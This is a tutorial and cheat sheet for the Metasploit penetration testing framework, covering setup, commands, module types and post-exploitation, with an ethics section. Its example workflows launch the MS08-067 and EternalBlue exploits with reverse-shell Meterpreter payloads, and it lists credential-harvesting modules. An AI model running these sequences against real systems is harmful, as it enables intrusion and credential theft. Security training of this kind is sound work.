All pages
Powered by GitBook
1 of 1

Loading...

Metasploit

Comprehensive Guide and Cheat Sheet for Metasploit

Metasploit is a powerful, modular penetration testing framework widely used by security professionals for vulnerability assessment, exploitation, and post-exploitation activities. This guide provides a thorough overview, practical cheat sheet, and essential best practices for using Metasploit effectively and ethically.


Introduction to Metasploit

Metasploit is an open-source penetration testing framework that enables security professionals to identify, exploit, and validate vulnerabilities in systems and applications. It is modular, extensible, and supports a wide range of exploits, payloads, and post-exploitation tools. Metasploit is used for:

  • Penetration testing

  • Security research

  • Vulnerability validation

  • Red teaming and adversary simulation

Metasploit Logo

Installation and Setup

System Requirements

  • Windows 11: 1 GHz+ CPU (2+ cores), 4 GB RAM, 64 GB storage, UEFI, Secure Boot, TPM 2.0, DirectX 12+ support, HD display .

  • Linux: Most modern distributions are supported; ensure you have root privileges and sufficient resources.

  • macOS: Supported, but some features may be limited.

Installation Steps

On Linux (Kali, Ubuntu, etc.)

sudo apt update
sudo apt install metasploit-framework

On Windows

  • Download the installer from the official Metasploit website.

  • Run the installer and follow the prompts.

Initial Setup

  • Launch msfconsole from your terminal or command prompt.

  • Initialize the database with msfdb init (if not already done).

  • Update modules: msfupdate.


Architecture and Components

Metasploit is built around a modular, client-server architecture:

  • msfconsole: The main command-line interface for interacting with Metasploit.

  • Module System: Organizes exploits, payloads, auxiliary, encoders, and post-exploitation modules.

  • REX Library: Handles networking and exploitation primitives.

  • Framework Core: The API that connects components and manages module execution.

  • msfdb: PostgreSQL database for storing scan results, credentials, and host data .

Metasploit Community Interface

Core Commands and Usage Patterns

Basic Commands

Command
Description

help

List all available commands

search

Search for modules (e.g., search smb)

use

Select a module (e.g., use exploit/windows/smb/ms08_067_netapi)

info

Show detailed info about the selected module

show options

List configurable options for the current module

set

Set a module option (e.g., set RHOST 192.168.1.10)

run/exploit

Execute the selected module

sessions

List and interact with active sessions

jobs

List background jobs

kill

Terminate a job by ID

exit

Exit msfconsole

back

Return to the main prompt from a module

banner

Display a random Metasploit banner

connect

Netcat-like connection to a host/port (e.g., connect 192.168.1.1 23)

grep

Filter output (e.g., grep http search oracle)

check

Test if the target is vulnerable before exploiting

edit

Edit the current module in a text editor

Example Usage Pattern:

msf > search ms08_067
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.10
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.100
msf exploit(ms08_067_netapi) > exploit

Modules: Exploits, Payloads, Auxiliary, and Post

Exploits

  • Target specific vulnerabilities (e.g., buffer overflows, web app flaws).

  • Can be automated or manual, depending on the level of control required .

Payloads

  • Single (Inline): Self-contained, includes exploit and shellcode .

  • Staged: Delivered in parts; stager sets up connection, stage delivers payload.

  • Stage-less: All-in-one, no further communication needed .

  • Meterpreter: Advanced, in-memory, interactive shell with encrypted comms .

  • Shell: Basic command shell.

  • Bind Shell: Target listens for attacker connection .

  • Reverse Shell: Target connects back to attacker (bypasses firewalls) .

Auxiliary Modules

  • Scanning, fuzzing, and other non-exploit tasks.

Encoders

  • Obfuscate payloads to evade detection.

Post-Exploitation Modules

  • Gather credentials, enumerate applications, escalate privileges, and more .


Post-Exploitation Techniques

After gaining access, Metasploit offers a suite of post-exploitation tools:

  • Session Management: Interact with and manage multiple sessions.

  • Pivoting: Route traffic through compromised hosts to access internal networks.

  • Credential Harvesting: Extract stored credentials from browsers, applications, and the OS.

  • Application Enumeration: List installed software for further exploitation.

  • Packet Sniffing: Capture network traffic for sensitive data.

  • Backdoors: Establish persistent access.

  • Covering Tracks: Clear logs and edit registries to evade detection .

Example Post-Exploitation Modules:

  • post/windows/gather/credentials/aim

  • post/windows/gather/enum_chrome

  • post/windows/gather/enum_applications

  • post/windows/gather/credentials/gpp (Group Policy Preferences credentials)


Real-World Usage Scenarios

Metasploit is used in a variety of real-world contexts:

  • Penetration Testing: Simulate attacks to assess organizational security.

  • Red Team Operations: Emulate advanced persistent threats (APTs).

  • Security Research: Develop and test new exploits and payloads.

  • Incident Response: Validate and reproduce attack vectors during investigations.

Case studies and practical examples can be found in community forums, security conference presentations, and open-source documentation .


Security, Ethics, and Legal Guidelines

Security Best Practices

  • Data Privacy: Minimize data collection, encrypt sensitive data, control access, and conduct regular audits .

  • Cyber Hygiene: Keep software updated, use strong passwords, and enable multi-factor authentication .

Ethical Considerations

  • Respect Privacy: Only test systems you own or have explicit permission to assess.

  • Transparency: Inform stakeholders and obtain consent before testing.

  • Accountability: Document actions and findings responsibly .

Legal Usage

  • Compliance: Adhere to laws such as GDPR, CCPA, and local regulations .

  • Professional Codes: Follow the ACM Code of Ethics and similar frameworks .

  • Authorization: Never use Metasploit on unauthorized systems.


Community Resources and Learning Materials

  • Official Documentation: Metasploit Docs

  • GitHub Repository: Metasploit Framework

  • Online Courses: Udemy, Coursera, Pluralsight

  • YouTube Tutorials: Search for "Metasploit tutorial" for hands-on walkthroughs

  • Forums: Reddit r/netsec, Stack Overflow, Rapid7 Community

  • Books: "Metasploit: The Penetration Tester’s Guide" by David Kennedy et al.


Quick Reference Cheat Sheet

Common Commands

Command
Description

msfconsole

Start Metasploit console

search <keyword>

Search for modules

use <module_path>

Select a module

show options

Show module options

set <option> <value>

Set a module option

exploit or run

Execute the module

sessions -l

List active sessions

sessions -i <id>

Interact with a session

background

Background the current session

jobs

List background jobs

kill <job_id>

Kill a background job

exit

Exit msfconsole

db_nmap <target>

Run Nmap scan and import results

info <module>

Show detailed info about a module

check

Test if target is vulnerable

banner

Display a random banner

connect <host> <port>

Netcat-like connection

grep <pattern> <command>

Filter output

Module Types

  • exploit/: Vulnerability exploitation modules

  • payload/: Code executed after exploitation

  • auxiliary/: Scanners, fuzzers, etc.

  • post/: Post-exploitation actions

  • encoder/: Payload obfuscation

  • nop/: No-operation generators

Example Workflow

msf > search smb
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options
msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.20
msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.100
msf exploit(ms17_010_eternalblue) > exploit
msf > sessions -l
msf > sessions -i 1

Conclusion

Metasploit is a versatile and essential tool for penetration testers and security researchers. Mastery of its architecture, modules, and ethical usage is crucial for effective and responsible security testing. Always ensure you have proper authorization and adhere to legal and ethical standards when using Metasploit.


For further learning, consult the official documentation, participate in community forums, and practice in safe, legal environments such as penetration testing labs or virtual machines.